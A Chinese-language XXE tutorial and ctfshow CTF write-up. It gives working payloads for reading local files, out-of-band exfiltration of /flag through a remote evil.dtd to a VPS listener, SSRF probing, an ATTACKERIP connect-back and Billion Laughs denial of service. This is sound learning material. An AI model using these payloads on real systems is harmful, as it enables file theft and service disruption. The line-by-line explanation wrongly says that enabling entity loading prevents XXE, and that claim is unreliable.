前言:

上上周的青少年CTF擂台挑战赛 2024 #Round 1中,有一道XXE的题目,结合我对 moectf 那道XXE的印象,感觉都是直接复制、黏贴答案模板后改改就出了,没有系统的认真学;趁着有想法的时候把 XXE 系统学个一遍。。。

XXE

什么是 XXE?

XXE 全称是:XML External Entity,也就是 XML 外部实体注入攻击,由于程序在解析输入的 XML 数据时,解析了攻击者伪造的外部实体而产生的。有XXE漏洞的标志性函数为simplexml_load_string()。漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

XML 基础学习( XXE 要从认识 XML 开始):

XML指可扩展标记语言(EXtensible Markup Language)是一种标记语言,很类似 HTML。XML的设计宗旨是传输数据,而非显示数据。XML标签没有被预定义。需要自行定义标签。XML被设计为具有自我描述性。XML是 W3C 的推荐标准。

XML 是不作为的:

也许这有点难以理解,但是 XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。

下面是 John 写给 George 的便签,存储为 XML :

<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

上面的这条便签具有自我描述性。它拥有标题以及留言,同时包含了发送者和接受者的信息。但是,这个 XML 文档仍然没有做任何事情。它仅仅是包装在 XML 标签中的纯粹的信息。我们需要编写软件或者程序,才能传送、接收和显示出这个文档。除此之外,XML 是纯文本,且允许创作者定义自己的标签和文档结构,是独立于软件和硬件的信息传输工具。

DTD :

文档类型定义(DTD)可定义合法的 XML 文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

一些前置XML元素知识:

<!ELEMENT>

在XML中,<!ELEMENT> 元素用于定义元素的结构和内容模型。具体来说,<!ELEMENT> 元素可以用来:

  1. 定义元素的名称:<!ELEMENT> 元素指定了XML文档中允许出现的元素的名称。
  2. 定义元素的内容模型:<!ELEMENT> 元素可以指定元素的内容模型,即元素可以包含哪些子元素以及它们的顺序和数量。

例如,下面是一个使用 <!ELEMENT> 元素定义元素的示例:

<!ELEMENT person (firstname, lastname, age)>

在这个示例中,<!ELEMENT> 元素定义了一个名为”person”的元素,它包含了三个子元素:firstname、lastname 和 age。这样就规定了”person”元素的结构和内容模型。

通过使用 <!ELEMENT> 元素,可以在XML文档中明确定义元素的结构,有助于确保文档的有效性和一致性。

<!ENTITY>

在XML中,<!ENTITY> 元素用于定义实体。

内部的 DOCTYPE 声明:

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

带有 DTD 的 XML 文档实例:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don not forget the meeting!</body>
</note>

以上 DTD 解释如下:

!DOCTYPE note (第二行)定义此文档是 note 类型的文档(note为根元素)。

!ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading、body”,如果是<!ELEMENT note ANY>则表示可以接受任何元素

!ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型

!ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型

!ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型

!ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型

外部文档声明:

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don not forget the meeting!</body>
</note>

这是包含 DTD 的 “note.dtd” 文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

DTD的作用:

  • 通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
  • 通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
  • 您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
  • 您还可以使用 DTD 来验证您自身的数据。

实体:

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。

实体类别与引用:

通用实体:

&实体名; 引用的实体,他在 DTD 中定义,在 XML 文档中引用

实例

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [
<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>

在这个例子中,实体 &file; 引用了位于”file:///c:/windows/win.ini”路径下的文件。

参数实体:

使用 % 实体名这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
只有在 DTD 文件中,参数实体的声明才能引用其他实体
和通用实体一样,参数实体也可以外部引用

实例

<!DOCTYPE note [
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
]>
<note>
<message>%an-element; %remote-dtd;</message>
</note>

在这个示例中:

第一个参数实体定义如下:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">

这个参数实体名为”an-element”,其内容是一个用于定义元素结构的字符串,指定了一个名为”mytag”的元素,它包含一个名为”subtag”的子元素。

第二个参数实体定义如下:

<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">

这个参数实体名为”remote-dtd”,其内容是一个外部实体引用,指定了一个外部DTD文件的位置。

通过使用参数实体,我们可以在XML文档中定义可重复使用的片段,提高文档的可读性和可维护性。

实体根据引用方式,还可分为内部实体与外部实体

内部实体:
<!ENTITY 实体名称 "实体的值">

实例:

DTD:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML:

<author>&writer;&copyright;</author>

注释:别忘记一个通用实体由三部分构成:一个和号 ( & ),一个实体名称, 以及一个分号 ( ; )

外部实体:
<!ENTITY 实体名称 SYSTEM "URI">

URL中能写哪些类型的外部实体呢?如图所示:

image-20231008193523097

实列:

DTD:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML:

<author>&writer;&copyright;</author>

当然,还有一种引用方式是使用 引用 公用 DTD 的方法,语法如下:

<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

XML外部实体注入:

XML External Entity Injection 即 xml 外部实体注入漏洞,简称XXE漏洞。XXE是针对解析XML输入的应用程序的一种攻击。 当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。 这种攻击可能导致信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。

有回显读敏感文件

本题为 ctfshow web 373 题的源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

以下是代码的简要解释:

  1. error_reporting(0); - 禁用错误报告,这意味着将不会显示任何错误信息。
  2. libxml_disable_entity_loader(false); - 启用XML实体加载器,这是为了防止XML外部实体注入攻击。
  3. $xmlfile = file_get_contents('php://input'); - 从输入中获取XML文件的内容。
  4. if(isset($xmlfile)){...} - 检查是否成功获取XML文件内容。
  5. $dom = new DOMDocument(); - 创建一个新的DOMDocument对象,用于处理XML文档。
  6. $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); - 加载XML文件内容到DOMDocument对象中,并禁用实体和DTD加载,以防止实体注入攻击。
  7. $creds = simplexml_import_dom($dom); - 将DOMDocument对象转换为SimpleXMLElement对象,以便于访问XML数据。
  8. $ctfshow = $creds->ctfshow; - 从XML数据中提取ctfshow元素的值。
  9. echo $ctfshow; - 将ctfshow元素的值输出到页面上。
  10. highlight_file(__FILE__); - 在页面上高亮显示当前PHP文件的源代码。

贴个payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Ed3n [
<!ELEMENT Ed3n ANY>
<!ENTITY payload SYSTEM "file:///flag">
]>
<Ed3n>
<ctfshow>&payload;</ctfshow>
</Ed3n>

image-20240311181553404

但我看到了 K0rz3n 佬读取复杂文件名的操作,感觉分别可以应用在读取Linux和Windows的flag上。

以下为主要内容摘要:

有些内容可能不想让解析引擎解析执行,而是当做原始的内容处理,用于把整段数据解析为纯字符数据而不是标记的情况包含大量的 < > & " 字符,CDATA 元素中的所有字符都会被当做元素字符数据的常量部分,而不是 xml 标记

<![CDATA[
XXXXXXXXXXXXXXXXX
]]>

可以输入任意字符除了 ]]> 不能嵌套
用处是万一某个标签内容包含特殊字符或者不确定字符,我们可以用 CDATA 包起来

那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过,但是怎么做到,我们来简答的分析一下:

首先,找到问题出现的地方,问题出现在

>...
><!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]>
><creds>&goodies;</creds>

引用并不接受可能会引起 xml 格式混乱的字符(在XML中,有时实体内包含了些字符,如&,<,>,",'等。这些均需要对其进行转义,否则会对XML解释器生成错误),我们想在引用的两边加上 "<![CDATA["和 “]]>” ,但是好像没有任何语法告诉我们字符串能拼接的,于是我想到了能不能使用多个实体连续引用的方法

><?xml version="1.0" encoding="utf-8"?>
><!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
>]>
><roottag>&start;&goodies;&end;</roottag>

注意,这里面的三个实体都是字符串形式,连在一起居然报错了,这说明我们不能在 xml 中进行拼接,而是需要在拼接以后再在xml 中调用,那么要想在 DTD 中拼接,我们知道我们只有一种选择,就是使用参数实体

那我们把我们的读出来的数据放在 CDATA 中输出就能进行绕过

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;
]>
<roottag>&all;</roottag>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

解释:

<?xml version="1.0" encoding="utf-8"?>:指定XML版本为1.0,字符编码为UTF-8。

<!DOCTYPE roottag [...]>:定义了名为”roottag”的根元素,并在内部包含了一组实体定义。

<!ENTITY % start "<![CDATA[">:定义了名为”start”的参数实体,内容为”<![CDATA[“,用于表示CDATA块的起始部分。

<!ENTITY % goodies SYSTEM "file:///d:/test.txt">:定义了名为”goodies”的参数实体,指向本地文件”d:/test.txt”,用于引入外部实体内容。

<!ENTITY % end "]]>">:定义了名为”end”的参数实体,内容为”]]>”,用于表示CDATA块的结束部分。

<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">:定义了名为”dtd”的参数实体,指向远程DTD文件”http://ip/evil.dtd“。
%dtd;:在DOCTYPE声明中引用了”dtd”参数实体,将远程DTD文件的内容插入到文档中。

<roottag>&all;</roottag>:XML文档的根元素为”roottag”,其中引用了名为”all”的通用实体,从而达到拼接的目的。

第二个XML代码片段中的evil.dtd文件定义了一个名为all的通用实体,其内容为%start;%goodies;%end;,表示all实体由startgoodiesend三个实体组成。

无回显读敏感文件:

本题为 ctfshow web 374 题的源码:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

相比较于上一道有回显的题目,差别在于删除了如下代码:

$ctfshow = $creds->ctfshow;
echo $ctfshow;

我们的做法是将flag外带

由于新人第一次接触反弹Shell的做法,就将接下来的步骤写的详细一些了

如果是腾讯云的vps,要现在防火墙将所有端口开放

image-20240313173756361

启动vps后在特定宽口开放http服务,以便通过外网能访问到你的恶意文件:

python3 -m http.server 

此时我们访问一下 http://vps-ip:8000 试试看:(未有特殊说明则默认开放8000端口,ip为vps公网的ip)

image-20240313153456749

此时

image-20240313154259477

说明8000端口启动http服务成功

同理我们来测试1234端口:

image-20240313154326926

说明1234端口也启动http服务成功

创建XXE.dtd文件并写入如下内容:

vim XXE.dtd
#XXE.dtd
#shift+i
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://vps-ip:1234/%file;'> ">
%all;
%send;
#esc
#shift+: 输入wq保存退出

在另一个页面监听本地1234端口:

nc -lvnp 1234

image-20240313154810747

burp发包内容:

POST / HTTP/1.1
Host: 2299db75-d9fe-416f-959d-406b131ae701.challenge.ctf.show
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://vps-ip:8000/XXE.dtd">
%dtd;
]>

image-20240313161738958

在监听的页面就可以看到加密后的flag

image-20240313155739020

解密后得到flag

image-20240313155848778

对payload的解释:

<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://vps-ip:8000/XXE.dtd">
%dtd;
]>

定义了两个实体:

  1. %file:它使用php过滤器读取系统文件/flag的内容,并对内容进行base64编码。

  2. %dtd:它从远程URL http://vps-ip:8000/XXE.dtd加载DTD文件。

以下是jay17师傅的解释(实体名有所改动):

  1. 不能直接<!ENTITY % dtd SYSTEM "http://vps-ip:8000/%file"> ,因为默认不允许把本地文件发送到远程dtd里面,需要绕一圈,绕过这个限制
  2. %dtd;会读取远程dtd文件,读到了以后,因为远程dtd文件有一个% all实体的定义,那么就会解析这个实体定义。% all实体的定义内容是另外一个实体% send定义,那就会解析% send,就会执行远程请求,请求地址http://vps-ip:8000/%file,会在我们的 vps 日志上留下痕迹。
    也可以起 nc 监听端口,能判断是否有向我们的 vps 发送请求以及请求内容。
<!ENTITY % all "<!ENTITY &#x25; send  SYSTEM 'http://vps-ip:1234/%file;'> ">
%all;
%send;
  1. &#x25; 就是百分号,因为是嵌套在里面的引用,不能直接写百分号
  2. %all实体定义了一个新的实体send,其内容是一个SYSTEM类型的实体,用于发送数据到指定的URL。在这里,%file实体被引用在URL中,以便将/flag文件的内容发送到指定的http://vps-ip:1234/地址。
  3. 在XML文档的解析过程中,通过引用%all实体,实际上定义了一个名为send的实体,其值是将/flag文件内容发送到指定URL的操作。
  4. 最后,通过引用%send实体,实际上执行了之前定义的send实体,将/flag文件的内容发送到指定的URL。

XXE检测:

主要的方法是检测所有接受XML作为输入内容端点,抓包观察其是否会返回我们想要的内容。

首先检测XML是否会被成功解析:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY words "Hello XXE !">
]>
<root>&words;</root>

image-20231008194425489

如果数据包或页面中存在“Hello XXE”的字样,则表名实体已被解析。

image-20231008194500250

接下来检测该端点是否支持DTD引用外部实体:

<?xml version=”1.0” encoding=”UTF-8”?>
<!DOCTYPE ANY [
<!ENTITY % name SYSTEM "http://localhost/tp5/test.xml">
%name;
]>

此时通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的HTTP request。

image-20231008210523538

如图所示,则该处很可能存在XML外部实体注入漏洞。

SSRF:

XXE 可以与SSRF(服务端请求伪造) 漏洞一起用于探测其它内网主机的信息,基于http协议。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>

当然也可以用来探测端口信息,根据响应包的信息,若非“connection refused”则表示该端口可能是开放的。

众所周知,有些企业对内网的安全性可能不那么注重。除了以上的利用,控制服务器对外网发送请求也是有可能成功的。此处可使用ncat工具进行测试。关于ncat的使用:ncat-网络工具中的“瑞士军刀”

用ncat在自己的服务器上开启监听:ncat -lvkp 8081(端口可自定义)

之后便可使用以下语句尝试是否能够建立连接:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>

DDoS:

支持实体测试:

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。

Billion Laughs 攻击:

一个经典的Dos攻击payload:

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
......
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

当XML解析器加载该文档时,它会看到它包含一个根元素 “lolz” ,该元素包含文本 “&lol9;” 。然而,“&lol9;” 是一个已定义的实体,它扩展为包含十个 “&lol8;” 字符串。每个 “&lol8;” 字符串都是一个已定义的实体,可以扩展到10个 “&lol7;” 字符串,以此类推。在处理完所有的实体扩展之后,这个小(小于1 KB)的XML块实际上将包含 109 = 10亿个 “lol” ,占用了将近 3 gb 的内存。

参考

DTD 简介 (w3school.com.cn)

一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)

XXE知识总结,有这篇就够了! - 知乎 (zhihu.com)

Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全_ctfshow web373-CSDN博客

【Web】CTFSHOW XXE刷题记录(全)-CSDN博客